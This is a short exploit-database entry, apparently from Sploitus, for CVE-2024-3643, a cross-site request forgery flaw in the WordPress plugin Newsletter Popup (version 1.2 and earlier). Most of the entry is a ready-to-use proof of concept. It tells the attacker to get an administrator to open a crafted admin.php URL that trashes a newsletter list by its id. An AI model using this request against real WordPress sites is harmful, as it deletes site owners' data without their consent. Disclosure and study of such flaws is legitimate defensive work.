Exploit for Newsletter Popup <= 1.2 - List Deletion via CSRF CVE-2024-3643

Name: Exploit for Newsletter Popup <= 1.2 - List Deletion via CSRF CVE-2024-3643
Rating: 5 (96 reviews)

2024-04-25 | CVSS 6.7

## https://sploitus.com/exploit?id=WPEX-ID:67D1E680-6A32-4718-B0D5-A76E6421A7B8
Make an admin open a URL (where `<ID>` is a valid id):

http://example.com4/wp-admin/admin.php?page=wp_newsletter_show_items&action=trash&id=<ID>